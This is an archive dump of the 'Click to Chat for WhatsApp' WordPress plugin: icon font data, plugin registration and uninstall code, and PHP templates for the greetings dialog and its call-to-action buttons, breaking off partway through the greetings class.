<glyph unicode="&#xe901;" glyph-name="brand" d="M746.56 346.368c-12.8 6.4-75.328 36.992-87.040 41.216-11.648 4.288-20.16 6.4-28.672-6.4-8.448-12.608-32.896-41.152-40.32-49.6-7.424-8.32-14.848-8.96-27.52-3.2-12.8 6.4-53.888 19.84-102.528 63.36-37.888 33.92-63.36 75.52-70.848 88.32-7.424 12.8-0.832 19.84 5.568 26.24 5.76 5.76 12.8 14.72 19.2 22.4 6.272 7.68 8.32 12.8 12.672 21.12 4.224 8.96 2.112 16-1.088 22.4s-28.672 69.12-39.296 94.080c-10.24 24.96-20.8 21.76-28.672 21.76-7.36 0.64-15.872 0.64-24.32 0.64-8.576 0-22.4-3.2-34.048-15.36-11.648-12.8-44.544-43.52-44.544-105.6s45.632-122.24 51.968-131.2c6.4-8.32 89.856-136.32 217.6-191.36 30.464-12.8 54.144-20.48 72.704-26.88 30.464-9.6 58.24-8.32 80.192-5.12 24.512 3.84 75.392 30.72 86.016 60.8 10.88 30.080 10.88 55.040 7.68 60.8s-11.52 8.96-24.32 14.72zM514.56 32h-0.64c-75.52 0-150.4 20.48-215.68 58.88l-15.36 9.152-160-41.6 42.88 155.52-10.24 16c-42.24 67.2-64.64 144.64-64.64 224.384 0 232.32 190.080 421.76 424.192 421.76 113.28 0 219.52-44.16 299.52-124.16 80-79.36 124.16-185.6 124.16-298.24-0.192-232.32-190.272-421.76-423.872-421.76zM875.52 812.8c-97.28 94.080-225.28 147.2-361.6 147.2-280.832 0-509.44-227.584-509.632-507.392 0-89.408 23.424-176.64 68.032-253.696l-72.32-262.912 270.272 70.528c74.496-40.32 158.336-61.696 243.648-61.76h0.256c280.96 0 509.696 227.648 509.824 507.52 0 135.488-52.928 263.040-149.12 358.912z" />
<glyph unicode="&#xe902;" glyph-name="whatsapp2" horiz-adv-x="878" d="M562.857 394.286c9.714 0 102.857-48.571 106.857-55.429 1.143-2.857 1.143-6.286 1.143-8.571 0-14.286-4.571-30.286-9.714-43.429-13.143-32-66.286-52.571-98.857-52.571-27.429 0-84 24-108.571 35.429-81.714 37.143-132.571 100.571-181.714 173.143-21.714 32-41.143 71.429-40.571 110.857v4.571c1.143 37.714 14.857 64.571 42.286 90.286 8.571 8 17.714 12.571 29.714 12.571 6.857 0 13.714-1.714 21.143-1.714 15.429 0 18.286-4.571 24-19.429 4-9.714 33.143-87.429 33.143-93.143 0-21.714-39.429-46.286-39.429-59.429 0-2.857 1.143-5.714 2.857-8.571 12.571-26.857 36.571-57.714 58.286-78.286 26.286-25.143 54.286-41.714 86.286-57.714 4-2.286 8-4 12.571-4 17.143 0 45.714 55.429 60.571 55.429zM446.857 91.428c197.714 0 358.857 161.143 358.857 358.857s-161.143 358.857-358.857 358.857-358.857-161.143-358.857-358.857c0-75.429 24-149.143 68.571-210.286l-45.143-133.143 138.286 44c58.286-38.286 127.429-59.429 197.143-59.429zM446.857 881.143c237.714 0 430.857-193.143 430.857-430.857s-193.143-430.857-430.857-430.857c-72.571 0-144.571 18.286-208.571 53.714l-238.286-76.571 77.714 231.429c-40.571 66.857-61.714 144-61.714 222.286 0 237.714 193.143 430.857 430.857 430.857z" />
<glyph unicode="&#xea93;" glyph-name="whatsapp" d="M873 811.2c-95.8 96-223.2 148.8-359 148.8-279.6 0-507.2-227.6-507.2-507.4 0-89.4 23.4-176.8 67.8-253.6l-72-263 269 70.6c74.2-40.4 157.6-61.8 242.4-61.8h0.2c0 0 0 0 0 0 279.6 0 507.4 227.6 507.4 507.4 0 135.6-52.8 263-148.6 359zM514.2 30.4v0c-75.8 0-150 20.4-214.8 58.8l-15.4 9.2-159.6-41.8 42.6 155.6-10 16c-42.4 67-64.6 144.6-64.6 224.4 0 232.6 189.2 421.8 422 421.8 112.6 0 218.6-44 298.2-123.6 79.6-79.8 123.4-185.6 123.4-298.4-0.2-232.8-189.4-422-421.8-422zM745.4 346.4c-12.6 6.4-75 37-86.6 41.2s-20 6.4-28.6-6.4c-8.4-12.6-32.8-41.2-40.2-49.8-7.4-8.4-14.8-9.6-27.4-3.2s-53.6 19.8-102 63c-37.6 33.6-63.2 75.2-70.6 87.8s-0.8 19.6 5.6 25.8c5.8 5.6 12.6 14.8 19 22.2s8.4 12.6 12.6 21.2c4.2 8.4 2.2 15.8-1 22.2s-28.6 68.8-39 94.2c-10.2 24.8-20.8 21.4-28.6 21.8-7.4 0.4-15.8 0.4-24.2 0.4s-22.2-3.2-33.8-15.8c-11.6-12.6-44.4-43.4-44.4-105.8s45.4-122.6 51.8-131.2c6.4-8.4 89.4-136.6 216.6-191.4 30.2-13 53.8-20.8 72.2-26.8 30.4-9.6 58-8.2 79.8-5 24.4 3.6 75 30.6 85.6 60.2s10.6 55 7.4 60.2c-3 5.6-11.4 8.8-24.2 15.2z" />
</font></defs></svg>click-to-chat-for-whatsapp/new/inc/assets/fonts/ccw.eot000064400000004270147510273110017065 0ustar00�$�LP�7ccwRegularVersion 1.0ccw�0OS/29�`cmap���\gaspxglyf3�'��|head�;#�6hhea��4$hmtxnCX locaT�xmaxp�� name&x�]�Vpost |�������3	@����@�@ @ ����� �������t��797979@@�@7-@����@*VV*�����Dd�.'&"'.'.'&67>7>76&'.'.#&"#"27>7>'.'#"&/7'.54>32#.#"%312>54.'�
E	

8%%
	$/!9N0#)<
�9n1�+
 !Cs�X+QLF.Cs�Wi%T\b3i��Q#!H8|@j��P%8$Z!
	"!5



G		2./N-<>	
#!��	*�2s;W�sB .ELQ*W�sB
#7%P��iC�:��GP��i3b[S$��nq7Og2#"&'.'.=>7>323232632>54.#"732#"&'7.54>33a
@F>S%	
(
 +
%tJ�a99a�JJ�a9#".�+f4Y�uDDu�Y7j0�NDu�Y�2

	Z79*R"
+7��9a�JJ�b88b�J8l.�,Du�YY�uDL�2r:Y�uD����?�.#"%31812>54.1"&/7'.54>32#.'&"'.'.'&67>7>76&'.'.#&"#"7>7>'.'i$S[b3i��P""H
7{@i��P&7�u9m1�+
 !Cr�W+QLE. Cr�W�	D		
	
8$$
	$/!8N0$(;
+$8%P��iC�:��GP��i3b[S�	)�2s<W�sB.ELQ+W�rC<!
	" 6			G		2//N-<?

#"7�_<���{S��{S������@n
0��>��<*Q	3
Z		C	-	T		6	
4tccwccwVersion 1.0Version 1.0ccwccwccwccwRegularRegularccwccwFont generated by IcoMoon.Font generated by IcoMoon.click-to-chat-for-whatsapp/new/inc/assets/fonts/ccw.woff000064400000004160147510273110017235 0ustar00wOFFp$OS/2``9cmaph\\���gasp�glyf�||3�'�headH66�;#hhea�$$��hmtx�  nCloca�T�maxp�  �name�VV&x�]postP  |�������3	@����@�@ @ ����� �������t��797979@@�@7-@����@*VV*�����Dd�.'&"'.'.'&67>7>76&'.'.#&"#"27>7>'.'#"&/7'.54>32#.#"%312>54.'�
E	

8%%
	$/!9N0#)<
�9n1�+
 !Cs�X+QLF.Cs�Wi%T\b3i��Q#!H8|@j��P%8$Z!
	"!5



G		2./N-<>	
#!��	*�2s;W�sB .ELQ*W�sB
#7%P��iC�:��GP��i3b[S$��nq7Og2#"&'.'.=>7>323232632>54.#"732#"&'7.54>33a
@F>S%	
(
 +
%tJ�a99a�JJ�a9#".�+f4Y�uDDu�Y7j0�NDu�Y�2

	Z79*R"
+7��9a�JJ�b88b�J8l.�,Du�YY�uDL�2r:Y�uD����?�.#"%31812>54.1"&/7'.54>32#.'&"'.'.'&67>7>76&'.'.#&"#"7>7>'.'i$S[b3i��P""H
7{@i��P&7�u9m1�+
 !Cr�W+QLE. Cr�W�	D		
	
8$$
	$/!8N0$(;
+$8%P��iC�:��GP��i3b[S�	)�2s<W�sB.ELQ+W�rC<!
	" 6			G		2//N-<?

#"7�_<���{S��{S������@n
0��>��<*Q	3
Z		C	-	T		6	
4tccwccwVersion 1.0Version 1.0ccwccwccwccwRegularRegularccwccwFont generated by IcoMoon.Font generated by IcoMoon.click-to-chat-for-whatsapp/new/inc/assets/fonts/ccw.ttf000064400000004044147510273110017072 0ustar00�0OS/29�`cmap���\gaspxglyf3�'��|head�;#�6hhea��4$hmtxnCX locaT�xmaxp�� name&x�]�Vpost |�������3	@����@�@ @ ����� �������t��797979@@�@7-@����@*VV*�����Dd�.'&"'.'.'&67>7>76&'.'.#&"#"27>7>'.'#"&/7'.54>32#.#"%312>54.'�
E	

8%%
	$/!9N0#)<
�9n1�+
 !Cs�X+QLF.Cs�Wi%T\b3i��Q#!H8|@j��P%8$Z!
	"!5



G		2./N-<>	
#!��	*�2s;W�sB .ELQ*W�sB
#7%P��iC�:��GP��i3b[S$��nq7Og2#"&'.'.=>7>323232632>54.#"732#"&'7.54>33a
@F>S%	
(
 +
%tJ�a99a�JJ�a9#".�+f4Y�uDDu�Y7j0�NDu�Y�2

	Z79*R"
+7��9a�JJ�b88b�J8l.�,Du�YY�uDL�2r:Y�uD����?�.#"%31812>54.1"&/7'.54>32#.'&"'.'.'&67>7>76&'.'.#&"#"7>7>'.'i$S[b3i��P""H
7{@i��P&7�u9m1�+
 !Cr�W+QLE. Cr�W�	D		
	
8$$
	$/!8N0$(;
+$8%P��iC�:��GP��i3b[S�	)�2s<W�sB.ELQ+W�rC<!
	" 6			G		2//N-<?

#"7�_<���{S��{S������@n
0��>��<*Q	3
Z		C	-	T		6	
4tccwccwVersion 1.0Version 1.0ccwccwccwccwRegularRegularccwccwFont generated by IcoMoon.Font generated by IcoMoon.click-to-chat-for-whatsapp/new/inc/class-ht-ctc-register.php000064400000007142147510273110017766 0ustar00<?php
/**
 * Activate
 * deactivate (no custom post types or so.. to flush rewrite rules)
 * uninstall ( delete if set )
 * 
 * @package ctc
 * @since 2.0
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Register' ) ) :
    
class HT_CTC_Register {

    // when plugin activate
    public static function activate() {

        if( version_compare( get_bloginfo('version'), '3.1.0', '<') )  {
            wp_die( 'please update WordPress' );
        }

        // add default values to options db 
            // class-ht-ctc-db2.php - will call add ctc admin pages.
        include_once HT_CTC_PLUGIN_DIR . '/new/admin/db/class-ht-ctc-db.php';
    }

    // version_changed
    public static function version_changed() {

        // add default values to options db 
        include_once HT_CTC_PLUGIN_DIR . '/new/admin/db/class-ht-ctc-db.php';
        include_once HT_CTC_PLUGIN_DIR . '/new/admin/db/class-ht-ctc-db2.php';
    }
    
    // when plugin deactivate
    public static function deactivate() {
    }

    // when plugin uninstall 
    public static function uninstall() {

        $options = get_option( 'ht_ctc_othersettings' );

        if ( isset ( $options['delete_options'] ) ) {

            global $wpdb;

            // $wpdb->query( "DELETE FROM $wpdb->options WHERE option_name LIKE 'ht\_ctc\_%';" );
            delete_option( 'ht_ctc_chat_options' );
            delete_option( 'ht_ctc_plugin_details' );
            delete_option( 'ht_ctc_group' );
            delete_option( 'ht_ctc_one_time' );
            delete_option( 'ht_ctc_othersettings' );

            delete_option( 'ccw_options' );
            delete_option( 'ccw_options_cs' );
            delete_option( 'ht_ccw_ga' );
            delete_option( 'ht_ccw_fb' );
            delete_option( 'ht_ctc_admin_pages' );
            delete_option( 'ht_ctc_cs_options' );

            // deletes custom styles, ht_ctc_share, ht_ctc_switch
            $wpdb->query( "DELETE FROM $wpdb->options WHERE option_name LIKE 'ht\_ctc\_s%';" );
            // greetings
            $wpdb->query( "DELETE FROM $wpdb->options WHERE option_name LIKE 'ht\_ctc\_g%';" );

            // deletes page level settings
            $wpdb->query( "DELETE FROM $wpdb->postmeta WHERE meta_key LIKE 'ht\_ctc\_page%';" );
        }

        // clear cache
        if ( function_exists('wp_cache_flush') ) {
            wp_cache_flush();
        }

    }

    // for plugin updates - run on plugins_loaded 
    public static function version_check() {
        
        $ht_ctc_plugin_details = get_option('ht_ctc_plugin_details');

        if ( !isset($ht_ctc_plugin_details['version']) || HT_CTC_VERSION !== $ht_ctc_plugin_details['version'] ) {
            //  to update the plugin - just like activate plugin
            // self::activate();
            self::version_changed();

        }
    }

    // add settings page links in plugins page - at plugin
    public static function plugin_action_links( $links ) {
		$new_links = array(
			'settings' => '<a href="' . admin_url( 'admin.php?page=click-to-chat' ) . '">' . __( 'Settings' , 'click-to-chat-for-whatsapp' ) . '</a>',
		);

        if ( ! defined( 'HT_CTC_PRO_VERSION' ) ) {
            $links['pro'] = '<a target="_blank" rel="noreferrer noopener" href="https://holithemes.com/plugins/click-to-chat/pricing/"><strong style="display: inline; color:#11a485;">' . __( 'PRO Version' , 'click-to-chat-for-whatsapp' ) . '</strong></a>';
        }

		return array_merge( $new_links, $links );
	}

    

}

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/inc/greetings/greetings-2.php000064400000004123147510273110017770 0ustar00<?php
/**
 * Greetings - template - 2
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$g2_options = get_option( 'ht_ctc_greetings_2' );
$g2_options = apply_filters( 'ht_ctc_fh_g2_options', $g2_options );
$greetings = get_option('ht_ctc_greetings_options');


// $ht_ctc_greetings['main_content'] = apply_filters( 'the_content', $ht_ctc_greetings['main_content'] );
$ht_ctc_greetings['main_content'] = do_shortcode( $ht_ctc_greetings['main_content'] );

// css
$main_css = 'padding: 18px 20px 15px 20px;';
$send_css = 'text-align:center; padding: 11px 20px 9px 20px; cursor:pointer;';
$bottom_css = 'padding: 2px 20px 2px 20px;text-align:center; font-size:12px;';

$bg_color = ( isset($g2_options['bg_color']) ) ? esc_attr( $g2_options['bg_color'] ) : '';

if ('' == $bg_color) {
    $bg_color = '#ffffff';
}
$main_css .= "background-color:$bg_color;";
$bottom_css .= "background-color:$bg_color;";
$send_css .= "background-color:$bg_color;";


// call to action - style
// $cta_style = ( isset($g2_options['cta_style']) ) ? esc_attr( $g2_options['cta_style'] ) : '7_1';
$cta_style = '1';
$g_cta_path = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/inc/greetings/greetings_styles/g-cta-' . $cta_style. '.php';
$g_optin_path = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/inc/greetings/greetings_styles/opt-in.php';

?>

<div class="ctc_g_content" style="<?= $main_css ?>">
    <div class="ctc_g_message_box" style=""><?= wpautop( $ht_ctc_greetings['main_content'] ) ?></div>
</div>

<div class="ctc_g_sentbutton" style="<?= $send_css ?>">
    <?php
    if ( isset($ht_ctc_greetings['is_opt_in']) && '' !== $ht_ctc_greetings['is_opt_in'] && is_file( $g_optin_path ) ) {
        include $g_optin_path;
    }
    ?>
    <div class="ht_ctc_chat_greetings_box_link ctc-analytics">
    <?php
    if ( is_file( $g_cta_path ) ) {
        include $g_cta_path;
    }
    ?>
    </div>
</div>

<?php
if ( '' !== $ht_ctc_greetings['bottom_content'] ) {
?>
<div class="ctc_g_bottom" style="<?= $bottom_css ?>">
    <?= wpautop( $ht_ctc_greetings['bottom_content'] ) ?>
</div>
<?php
}click-to-chat-for-whatsapp/new/inc/greetings/greetings_styles/opt-in.php000064400000001232147510273110022440 0ustar00<?php
/**
 * Greetings call to action - style - 1
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$opt_in = 'Privacy Policy';

if (isset( $ht_ctc_greetings) && isset( $ht_ctc_greetings['opt_in'])) {
  $opt_in = $ht_ctc_greetings['opt_in'];
}

$opt_id = (isset($opt_in_id)) ? $opt_in_id : 'ctc_opt';

?>
<div class="ctc_opt_in" style="display:none; text-align:center;">
    <div class="<?= $opt_id ?>" style="display:inline-flex;justify-content:center;align-items:center;padding:0 4px;">
        <input type="checkbox" name="" id="<?= $opt_id ?>" style="margin: 0 5px;">
        <label for="<?= $opt_id ?>"><?= $opt_in ?></label>
    </div>
</div>click-to-chat-for-whatsapp/new/inc/greetings/greetings_styles/g-cta-7_1.php000064400000006147147510273110022623 0ustar00<?php
/**
 * Greetings call to action - style - 7 Extend
 * 
 * <input class="ht_ctc_chat_greetings_box_link" type="submit" style="" value="<?= $ht_ctc_greetings['call_to_action'] ?>">
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s7_1_options = get_option( 'ht_ctc_s7_1' );
$s7_1_options = apply_filters( 'ht_ctc_fh_s7_1_options', $s7_1_options );

$s7_icon_size = (isset( $s7_1_options['s7_icon_size'])) ? esc_attr( $s7_1_options['s7_icon_size'] ) : '';
$s7_icon_color = (isset( $s7_1_options['s7_icon_color'])) ? esc_attr( $s7_1_options['s7_icon_color'] ) : '';
$s7_icon_color_hover = (isset( $s7_1_options['s7_icon_color_hover'])) ? esc_attr( $s7_1_options['s7_icon_color_hover'] ) : '';
$s7_bgcolor = (isset( $s7_1_options['s7_bgcolor'])) ? esc_attr( $s7_1_options['s7_bgcolor'] ) : '';
$s7_bgcolor_hover = (isset( $s7_1_options['s7_bgcolor_hover'])) ? esc_attr( $s7_1_options['s7_bgcolor_hover'] ) : '';
$s7_border_size = (isset( $s7_1_options['s7_border_size'])) ? esc_attr( $s7_1_options['s7_border_size'] ) : '';

// Call to action 
$s7_1_cta_font_size = (isset( $s7_1_options['cta_font_size'])) ? esc_attr( $s7_1_options['cta_font_size'] ) : '';

$s7_1_cta_font_size = ('' !== $s7_1_cta_font_size) ? "font-size: $s7_1_cta_font_size" : "";

// Call to action - Order
$s7_cta_order = "1";
$s7_show_cta_padding_css = "padding:5px;";


if ( isset($side_2) && 'right' == $side_2) {
    // if side_2 is right then cta is left
    $s7_cta_order = "0";
}

$rtl_css = "";
if ( function_exists('is_rtl') && is_rtl() ) {
    $rtl_css = "flex-direction:row-reverse;";
}

$s7_n1_styles = "display:flex;justify-content:center;align-items:center;$rtl_css ";
$s7_cta_css = "$s7_1_cta_font_size; ";
$s7_icon_padding_css = "";
$s7_cta_class = "ht-ctc-cta ";
$s7_hover_styles = "";

$s7_n1_styles .= "$s7_show_cta_padding_css background-color:$s7_bgcolor;border-radius:25px; cursor: pointer;";
$s7_cta_css .= "padding:1px 0px; color:$s7_icon_color; border-radius:10px; margin:0 10px; order:$s7_cta_order; ";
$s7_icon_padding_css .= "";
$s7_hover_styles = ".ht-ctc .g_ctc_s_7_1:hover{background-color:$s7_bgcolor_hover !important;}.ht-ctc .g_ctc_s_7_1:hover .g_ctc_s_7_1_cta{color:$s7_icon_color_hover !important;}.ht-ctc .g_ctc_s_7_1:hover svg g path{fill:$s7_icon_color_hover !important;}";


$type = 'g_cta';
// svg values
$ht_ctc_svg_css = "pointer-events:none; display:block; height:$s7_icon_size; width:$s7_icon_size;";
$s7_svg_attrs = array(
    'color' => "$s7_icon_color",
    'icon_size' => "$s7_icon_size",
    'type' => "greetings_chat",
    'ht_ctc_svg_css' => "$ht_ctc_svg_css",
);


include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';
?>
<style id="ht-ctc-s7_1">
<?= $s7_hover_styles ?>
</style>

<div class="g_ctc_s_7_1 ctc-analytics" style="<?= $s7_n1_styles; ?>">
    <p class="g_ctc_s_7_1_cta ctc-analytics ctc_cta <?= $s7_cta_class ?>" style="<?= $s7_cta_css ?>"><?= $ht_ctc_greetings['call_to_action'] ?></p>
    <div class="g_ctc_s_7_icon_padding ctc-analytics " style="<?= $s7_icon_padding_css ?>">
        <?= ht_ctc_singlecolor( $s7_svg_attrs ); ?>
    </div>
</div>click-to-chat-for-whatsapp/new/inc/greetings/greetings_styles/g-cta-1.php000064400000003131147510273110022363 0ustar00<?php
/**
 * Greetings call to action - style - 1
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s1_options = get_option( 'ht_ctc_s1' );

$s1_css = "padding:9px;width:100%;cursor:pointer; display:flex; align-items:center; justify-content:center;";
$s1_text_color = (isset( $s1_options['s1_text_color'])) ? esc_attr( $s1_options['s1_text_color'] ) : '';
$s1_css .= ('' !== $s1_text_color) ? "color:$s1_text_color;": "";
$s1_bg_color = (isset( $s1_options['s1_bg_color'])) ? esc_attr( $s1_options['s1_bg_color'] ) : '';
$s1_css .= ('' !== $s1_bg_color) ? "background-color:$s1_bg_color;": "";

$s1_add_icon = ( isset( $s1_options['s1_add_icon']) ) ? esc_attr( $s1_options['s1_add_icon'] ) : '';
$s1_icon_color = ( isset( $s1_options['s1_icon_color']) ) ? esc_attr( $s1_options['s1_icon_color'] ) : '';
$s1_icon_size = ( isset( $s1_options['s1_icon_size']) ) ? esc_attr( $s1_options['s1_icon_size'] ) : '';

if ('' == $s1_icon_size) {
  $s1_icon_size = '15';
}

if ('' == $s1_icon_color) {
  $s1_icon_color = '#ffffff';
}

$s1_style = ('' !== $s1_css) ? "style='$s1_css'": "";
?>
<button <?= $s1_style; ?> class="ctc-analytics g_s1_cta_btn ctc_cta">
<?php
if ('' !== $s1_add_icon) {
  
  $s1_svg_css = "margin-right:6px;";

  $s1_svg_attrs = array(
      'color' => "$s1_icon_color",
      'icon_size' => "$s1_icon_size",
      'type' => "greetings_chat",
      'ht_ctc_svg_css' => "$s1_svg_css",
  );
  include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';
  echo ht_ctc_singlecolor( $s1_svg_attrs );
}
?>
<?= $ht_ctc_greetings['call_to_action'] ?>
</button>click-to-chat-for-whatsapp/new/inc/greetings/class-ht-ctc-chat-greetings.php000064400000030400147510273110023026 0ustar00<?php
/**
 * WhatsApp Chat  - main page .. 
 * 
 * @uses ht-ctc-chat  if: 'no' !== $greetings['greetings_template']
 * 
 * @subpackage chat
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Chat_Greetings' ) ) :

class HT_CTC_Chat_Greetings {

    public function __construct() {
        $this->start();
	}

    public function start() {
        add_action( 'ht_ctc_ah_in_fixed_position', [$this, 'greetings_dialog'] );
    }


    function greetings_dialog() {
        
        $greetings = get_option('ht_ctc_greetings_options' );
        $chat = get_option('ht_ctc_chat_options');
        $greetings_settings = get_option('ht_ctc_greetings_settings');
        $g_box_classes = '';

        $ht_ctc_greetings = array();

        $ht_ctc_greetings['greetings_template'] = ( isset( $greetings['greetings_template']) ) ? esc_attr( $greetings['greetings_template'] ) : '';
        $ht_ctc_greetings['header_content'] = ( isset( $greetings['header_content']) ) ? esc_attr($greetings['header_content']) : '';
        $ht_ctc_greetings['main_content'] = ( isset( $greetings['main_content']) ) ? esc_attr($greetings['main_content']) : '';
        $ht_ctc_greetings['bottom_content'] = ( isset( $greetings['bottom_content']) ) ? esc_attr($greetings['bottom_content']) : '';
        $ht_ctc_greetings['call_to_action'] = ( isset( $greetings['call_to_action']) ) ? esc_attr( $greetings['call_to_action'] ) : '';

        $ht_ctc_greetings['is_opt_in'] = ( isset( $greetings_settings['is_opt_in']) ) ? esc_attr( $greetings_settings['is_opt_in'] ) : '';
        $ht_ctc_greetings['opt_in'] = ( isset( $greetings_settings['opt_in']) ) ? esc_attr( $greetings_settings['opt_in'] ) : '';

        if ('' == $ht_ctc_greetings['call_to_action']) {
            $ht_ctc_greetings['call_to_action'] = 'WhatsApp';
        }

        $ht_ctc_greetings = apply_filters( 'ht_ctc_fh_greetings_start', $ht_ctc_greetings );

        $page_id = get_the_ID();
        // $page_id = get_queried_object_id();

        // $object_id = get_queried_object_id();
        // if (0 == $object_id || '' == $object_id) {
        //     $page_id = get_the_ID();
        // } else {
        //     $page_id = $object_id;
        // }


        $page_url = get_permalink();
        $post_title = esc_html( get_the_title() );

        if ( is_home() || is_front_page() ) {
            // is home page
            $page_url = home_url('/');
            // if home page is a loop then return site name.. (instead of getting the last post title in that loop)
            $post_title = HT_CTC_BLOG_NAME;

            // if home page is a page then return page title.. (if not {site} and {title} will be same )
            if ( is_page() ) {
                $post_title = esc_html( get_the_title() );
            }
        } elseif ( is_singular() ) {
            // is singular
            $page_url = get_permalink();
            $post_title = esc_html( get_the_title() );
        } elseif ( is_archive() ) {

            if ( isset($_SERVER['HTTP_HOST']) && $_SERVER['REQUEST_URI'] ) {
                $protocol = ( isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on' ) ? 'https' : 'http';
                $page_url = $protocol . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
            }

            if ( is_category() ) {
                $post_title = single_cat_title( '', false );
            } elseif ( is_tag() ) {
                $post_title = single_tag_title( '', false );
            } elseif ( is_author() ) {
                $post_title = get_the_author();
            } elseif ( is_post_type_archive() ) {
                $post_title = post_type_archive_title( '', false );
            } elseif ( function_exists( 'is_tax') && function_exists( 'single_term_title') && is_tax() ) {
                $post_title = single_term_title( '', false );
            } else {
                if ( function_exists('get_the_archive_title') ) {
                    $post_title = get_the_archive_title();
                }
            }

        }

        // is shop page
        if ( class_exists( 'WooCommerce' ) && function_exists( 'is_shop') && function_exists( 'wc_get_page_id') && is_shop() ) {
            $page_id = wc_get_page_id( 'shop' );
            $post_title = esc_html( get_the_title( $page_id ) );
        }

        $ht_ctc_greetings['header_content'] = apply_filters( 'wpml_translate_single_string', $ht_ctc_greetings['header_content'], 'Click to Chat for WhatsApp', 'greetings_header_content' );
        $ht_ctc_greetings['main_content'] = apply_filters( 'wpml_translate_single_string', $ht_ctc_greetings['main_content'], 'Click to Chat for WhatsApp', 'greetings_main_content' );
        $ht_ctc_greetings['bottom_content'] = apply_filters( 'wpml_translate_single_string', $ht_ctc_greetings['bottom_content'], 'Click to Chat for WhatsApp', 'greetings_bottom_content' );
        $ht_ctc_greetings['call_to_action'] = apply_filters( 'wpml_translate_single_string', $ht_ctc_greetings['call_to_action'], 'Click to Chat for WhatsApp', 'greetings_call_to_action' );
        $ht_ctc_greetings['opt_in'] = apply_filters( 'wpml_translate_single_string', $ht_ctc_greetings['opt_in'], 'Click to Chat for WhatsApp', 'greetings_opt_in' );
        

        $allowed_html = wp_kses_allowed_html( 'post' );

        // $allowed_html['iframe'] = array(
        //     'src'             => true,
        //     'height'          => true,
        //     'width'           => true,
        //     'frameborder'     => true,
        //     'allowfullscreen' => true,
        //     'title' => true,
        //     'allow' => true,
        //     'autoplay' => true,
        //     'clipboard-write' => true,
        //     'encrypted-media' => true,
        //     'gyroscope' => true,
        //     'picture-in-picture' => true,
        // );
        
        

        // greetings dialog position based on chat icon/button position
        $g_position_r_l = ( isset( $chat['side_2']) ) ? esc_attr( $chat['side_2'] ) : 'right';

        $g_m_position_r_l = ( isset( $chat['mobile_side_2']) ) ? esc_attr( $chat['mobile_side_2'] ) : 'right';

        // is rtl page
        $rtl_page = "";
        if ( function_exists('is_rtl') && is_rtl() ) {
            $rtl_page = "yes";
        }

        // close button position
        $g_close_button_position = ('yes' == $rtl_page) ? 'left' : 'right';

        $g_close_button_styles = "position:absolute; top:0; $g_close_button_position:0; cursor:pointer; padding:5px; margin:4px; border-radius:50%; background-color: unset !important; z-index: 9999; line-height: 1;";

        // if desktop and mobile not same settings and not same position side
        if ( !isset( $chat['same_settings']) && $g_position_r_l !== $g_m_position_r_l ) {
            // $g_box_classes .= ('left' == $g_position_r_l) ? ' ctc_d_p_left ' : ' ctc_d_p_right ';
            $g_box_classes .= ('left' == $g_m_position_r_l) ? ' ctc_m_p_left ' : ' ctc_m_p_right ';
        }


        $ht_ctc_greetings['path'] = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/inc/greetings/' . $ht_ctc_greetings['greetings_template']. '.php';

        // filter hook to update values... 
        $ht_ctc_greetings = apply_filters( 'ht_ctc_fh_greetings', $ht_ctc_greetings );

        // return if template not set..
        if ( '' == $ht_ctc_greetings['greetings_template'] || 'no' == $ht_ctc_greetings['greetings_template'] ) {
            return;
        }

        if ( '' !== $ht_ctc_greetings['header_content'] ) {
            $ht_ctc_greetings['header_content'] = html_entity_decode(wp_kses($ht_ctc_greetings['header_content'], $allowed_html) );
            $ht_ctc_greetings['header_content'] = str_replace( array('{url}', '{title}', '{site}' ),  array( $page_url, $post_title, HT_CTC_BLOG_NAME ), $ht_ctc_greetings['header_content'] );
        }
        if ( '' !== $ht_ctc_greetings['main_content'] ) {
            $ht_ctc_greetings['main_content'] = html_entity_decode(wp_kses($ht_ctc_greetings['main_content'], $allowed_html) );
            $ht_ctc_greetings['main_content'] = str_replace( array('{url}', '{title}', '{site}' ),  array( $page_url, $post_title, HT_CTC_BLOG_NAME ), $ht_ctc_greetings['main_content'] );
        }
        if ( '' !== $ht_ctc_greetings['bottom_content'] ) {
            $ht_ctc_greetings['bottom_content'] = html_entity_decode(wp_kses($ht_ctc_greetings['bottom_content'], $allowed_html) );
            $ht_ctc_greetings['bottom_content'] = str_replace( array('{url}', '{title}', '{site}' ),  array( $page_url, $post_title, HT_CTC_BLOG_NAME ), $ht_ctc_greetings['bottom_content'] );
        }
        if ( '' !== $ht_ctc_greetings['is_opt_in'] && '' !== $ht_ctc_greetings['opt_in'] ) {
            $ht_ctc_greetings['opt_in'] = html_entity_decode(wp_kses($ht_ctc_greetings['opt_in'], $allowed_html) );
            $ht_ctc_greetings['opt_in'] = str_replace( array('{url}', '{title}', '{site}' ),  array( $page_url, $post_title, HT_CTC_BLOG_NAME ), $ht_ctc_greetings['opt_in'] );
        }

        $box_shadow = '0px 1px 9px 0px rgba(0,0,0,.14)';
        if ( 'greetings-2' == $ht_ctc_greetings['greetings_template'] ) {
            $box_shadow = '0px 0px 5px 1px rgba(0,0,0,.14)';
        }

        /**
         * greetings dialog size
         * ctc_m_full_width: class to make mobile full width for medium and large
         */
        $g_size = ( isset($greetings_settings['g_size']) ) ? esc_attr( $greetings_settings['g_size'] ) : 's';

        $min_width = '300px';
        $ctc_m_full_width = '';
        
        if ('s' == $g_size) {
        } else if ( 'm' == $g_size ) {
            $min_width = '330px';
            $ctc_m_full_width = 'ctc_m_full_width';
        } else if ( 'l' == $g_size ) {
            $min_width = '360px';
            $ctc_m_full_width = 'ctc_m_full_width';
        }
        


        $box_layout_bg_color = '';
